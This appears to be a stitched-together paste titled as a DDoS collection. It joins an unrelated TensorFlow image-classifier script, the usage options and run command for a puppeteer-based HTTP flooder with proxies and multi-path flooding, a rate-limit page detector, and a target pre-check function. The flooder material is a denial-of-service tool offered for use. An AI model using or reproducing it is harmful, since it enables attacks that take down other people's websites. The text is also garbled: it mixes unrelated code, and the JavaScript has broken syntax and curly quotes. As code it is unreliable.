Ddos Collection - MrZx

import tensorflow as tf
from tensorflow.keras import layers, models
import cv2
import os
import numpy as np
from sklearn.preprocessing import LabelEncoder

def load_data(directory):
    images = []
    labels = []
    
    for filename in os.listdir(directory):
        if filename.endswith(".jpg"):
            img = cv2.imread(os.path.join(directory, filename), cv2.IMREAD_GRAYSCALE)
            img = cv2.resize(img, (128, 128))
            images.append(img)
            
            label = filename.split(".")[0]
            labels.append(label)
    
    images = np.array(images).reshape(-1, 128, 128, 1) / 255.0
    return images, labels

images, labels = load_data("dataset")

encoder = LabelEncoder()
labels_encoded = encoder.fit_transform(labels)
labels_encoded = tf.keras.utils.to_categorical(labels_encoded)

model = models.Sequential([
    layers.Conv2D(32, (3, 3), activation='relu', input_shape=(128, 128, 1)),
    layers.MaxPooling2D((2, 2)),
    layers.Conv2D(64, (3, 3), activation='relu'),
    layers.MaxPooling2D((2, 2)),
    layers.Conv2D(64, (3, 3), activation='relu'),
    layers.Flatten(),
    layers.Dense(64, activation='relu'),
    layers.Dense(len(set(labels)), activation='softmax')
])

model.compile(optimizer='adam',
              loss='categorical_crossentropy',
              metrics=['accuracy'])

model.fit(images, labels_encoded, epochs=10)

model.save("text_detection_model.jawa")

—reconnection - 1x/20x Looping For Browser —connection - 10x/30x Rps For Flooder —dratelimit - true/false For Automatic Detection Ratelimit (new system) —browser - 1/5 for started launch puppeteer —emulation - 10/30 default 30 for time flooder —flood - Experimental/Regular Rugular Non Cf —path - “/path1,/path2,/path3” Multi Path for Flooder —platform - Linux/Windows (soon)

node browser.js target time proxy.txt

function isRateLimitPage(html) {
  const $ = cheerio.load(html);
  const textsToCheck = [
    '429',
    'Rate Limit Exceeded',
    'Too Many Requests',
    'You have been rate limited',
    'Please try again later',
    'Request was throttled',
    'Rate limiting in effect',
    'Rate limit hit',
    'API rate limit exceeded',
    'You have hit the rate limit',
    'Throttled by rate limit',
    'Exceeded rate limit',
    'Request limit reached',
    'Request quota exceeded',
    'Slow down',
    'You are being rate limited',
    'Too many attempts',
    'Too frequent requests'
  ];

  for (const text of textsToCheck) {
    if ($('title').text().includes(text) || $('body').text().includes(text)) {
      return true;
    }
  }
  return false;
}

const axios = require('axios');
const cheerio = require('cheerio');
const fs = require('fs');
const path = require('path');
const moment = require('moment');
const dns = require('dns');

function preCheck(url) {
  const googlePromise = axios.get(`https://www.google.com/search?q=site:${url}`, { headers: { 'User-Agent': “PreCheck ( https://mscjs.net/ )” } });
  const httpPromise = axios.get(`http://${url}`, { headers: { 'User-Agent': “PreCheck ( https://mscjs.net/ )” } });
  const dnsPromise = new Promise((resolve, reject) => {
    dns.lookup(url, (err, addresses) => err ? reject(err) : resolve(addresses));
  });

  return Promise.all([googlePromise, httpPromise, dnsPromise])
    .then(responses => {
      const [googleResponse, httpResponse, dnsResponse] = responses;

      const googleHtml = googleResponse.data;
      const $ = cheerio.load(googleHtml);
      const searchResults = $('#search .g');
      const notFoundMessage = $('#topstuff .med .card-section');
      const googleStatus = searchResults.length > 0 
        ? [true, `Website is listed on Google: ${url}`]
        : notFoundMessage.length > 0 && notFoundMessage.text().includes('Your search - site')
          ? [false, `Website is not listed on Google: ${url}`]
          : [false, `Search results are uncertain for: ${url}`];

      const httpStatus = httpResponse.status === 200
        ? [true, `Website is accessible with HTTP 200: ${url}`]
        : [false, `Website returned HTTP status: ${url} - Status: ${httpResponse.status}`];

      const dnsStatus = !!dnsResponse
        ? [true, `DNS lookup successful for: ${url}`]
        : [false, `DNS lookup failed for: ${url} - Error: Address not found`];

      const isRegistered = googleStatus[0] || httpStatus[0] || dnsStatus[0];
      const logs = [googleStatus[1], httpStatus[1], dnsStatus[1]];

      logs.forEach(log => writeLog(log));
      return isRegistered;
    })
    .catch(error => {
      const errorMessage ={ headers: { 'User-Agent': “PreCheck ( https://mscjs.net/ )” } });
 
      writeLog(errorMessage);
      return false;
    });
}

function writeLog(text) {
        console.log(“[!]”+ text);
}